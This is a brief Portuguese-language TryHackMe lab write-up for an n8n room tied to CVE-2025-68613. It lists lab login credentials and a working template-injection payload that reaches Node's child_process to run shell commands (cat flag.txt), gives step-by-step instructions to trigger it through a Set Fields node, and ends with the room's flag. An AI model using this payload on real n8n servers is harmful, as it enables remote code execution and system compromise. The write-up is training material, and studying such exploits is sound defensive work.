Sala TryHackMe: n8n: CVE-2025-68613

Jogador: J4ck3LSyN

Host: ...

Nome de usuário: [email protected]

Senha: Try12345!

Metodologia

Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Payload 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Acesse a máquina de ataque.
2. Start New
3. Add First Step, deixe a barra lateral direita aberta e adicione Manual Trigger.
4. Depois, adicione uma opção Set Fields.
5. Adicione um campo chamado pwn e o payload.
6. Execute & pwn.
7. Altere o payload para executar cat flag.txt - Flag: THM{n8n_exposed_workflow}